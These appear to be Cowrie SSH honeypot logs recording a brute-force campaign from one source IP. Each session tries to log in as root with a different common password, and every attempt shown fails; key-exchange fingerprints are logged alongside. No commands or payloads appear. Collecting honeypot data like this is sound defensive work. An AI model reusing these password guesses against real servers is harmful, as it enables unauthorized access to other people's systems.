{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:51.831086Z","src_ip":"60.165.124.241","session":"65578bb5284f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#123ok","message":"login attempt [root/123!@#123ok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:52.574251Z","src_ip":"60.165.124.241","session":"65578bb5284f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:53.829970Z","src_ip":"60.165.124.241","session":"65578bb5284f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44364,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdcfef0acf80","protocol":"ssh","message":"New connection: 60.165.124.241:44364 (10.17.0.5:22) [session: cdcfef0acf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:54.065652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:54.070128Z","src_ip":"60.165.124.241","session":"cdcfef0acf80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:54.311094Z","src_ip":"60.165.124.241","session":"cdcfef0acf80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd123123","message":"login attempt [root/asdasd123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:55.059476Z","src_ip":"60.165.124.241","session":"cdcfef0acf80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:56.314743Z","src_ip":"60.165.124.241","session":"cdcfef0acf80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47182,"dst_ip":"10.17.0.5","dst_port":22,"session":"932fa2bd65cf","protocol":"ssh","message":"New connection: 60.165.124.241:47182 (10.17.0.5:22) [session: 932fa2bd65cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:56.559958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:56.565003Z","src_ip":"60.165.124.241","session":"932fa2bd65cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:56.805219Z","src_ip":"60.165.124.241","session":"932fa2bd65cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hs@123456","message":"login attempt [root/hs@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:57.550289Z","src_ip":"60.165.124.241","session":"932fa2bd65cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:58.792260Z","src_ip":"60.165.124.241","session":"932fa2bd65cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49880,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec4d2983a78c","protocol":"ssh","message":"New connection: 60.165.124.241:49880 (10.17.0.5:22) [session: ec4d2983a78c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:59.044755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:59.049315Z","src_ip":"60.165.124.241","session":"ec4d2983a78c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:59.297017Z","src_ip":"60.165.124.241","session":"ec4d2983a78c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d5e","message":"login attempt [root/1a2b3c4d5e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:00.047349Z","src_ip":"60.165.124.241","session":"ec4d2983a78c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:01.311955Z","src_ip":"60.165.124.241","session":"ec4d2983a78c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52768,"dst_ip":"10.17.0.5","dst_port":22,"session":"3106c17b18dd","protocol":"ssh","message":"New connection: 60.165.124.241:52768 (10.17.0.5:22) [session: 3106c17b18dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:01.545358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:01.550132Z","src_ip":"60.165.124.241","session":"3106c17b18dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:01.793211Z","src_ip":"60.165.124.241","session":"3106c17b18dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm@123456","message":"login attempt [root/zxcvbnm@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:02.539611Z","src_ip":"60.165.124.241","session":"3106c17b18dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:03.790240Z","src_ip":"60.165.124.241","session":"3106c17b18dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55870,"dst_ip":"10.17.0.5","dst_port":22,"session":"a78390c3c29d","protocol":"ssh","message":"New connection: 60.165.124.241:55870 (10.17.0.5:22) [session: a78390c3c29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:04.042680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:04.047728Z","src_ip":"60.165.124.241","session":"a78390c3c29d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:04.287861Z","src_ip":"60.165.124.241","session":"a78390c3c29d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaobaitwo","message":"login attempt [root/xiaobaitwo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:05.035497Z","src_ip":"60.165.124.241","session":"a78390c3c29d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:06.282304Z","src_ip":"60.165.124.241","session":"a78390c3c29d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59080,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6e591cb6958","protocol":"ssh","message":"New connection: 60.165.124.241:59080 (10.17.0.5:22) [session: a6e591cb6958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:06.529988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:06.535173Z","src_ip":"60.165.124.241","session":"a6e591cb6958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:06.791047Z","src_ip":"60.165.124.241","session":"a6e591cb6958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8ik,(OL>","message":"login attempt [root/8ik,(OL>] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:07.532291Z","src_ip":"60.165.124.241","session":"a6e591cb6958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:08.773623Z","src_ip":"60.165.124.241","session":"a6e591cb6958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33538,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe368c857d1","protocol":"ssh","message":"New connection: 60.165.124.241:33538 (10.17.0.5:22) [session: 0fe368c857d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:09.011664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:09.017487Z","src_ip":"60.165.124.241","session":"0fe368c857d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:09.269404Z","src_ip":"60.165.124.241","session":"0fe368c857d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX#EDC","message":"login attempt [root/1qaz@WSX#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:09.999142Z","src_ip":"60.165.124.241","session":"0fe368c857d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:11.244944Z","src_ip":"60.165.124.241","session":"0fe368c857d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36528,"dst_ip":"10.17.0.5","dst_port":22,"session":"283e1a30019e","protocol":"ssh","message":"New connection: 60.165.124.241:36528 (10.17.0.5:22) [session: 283e1a30019e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:11.513800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:11.521842Z","src_ip":"60.165.124.241","session":"283e1a30019e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:34:11.776290Z","src_ip":"60.165.124.241","session":"283e1a30019e","protocol":"ssh"}
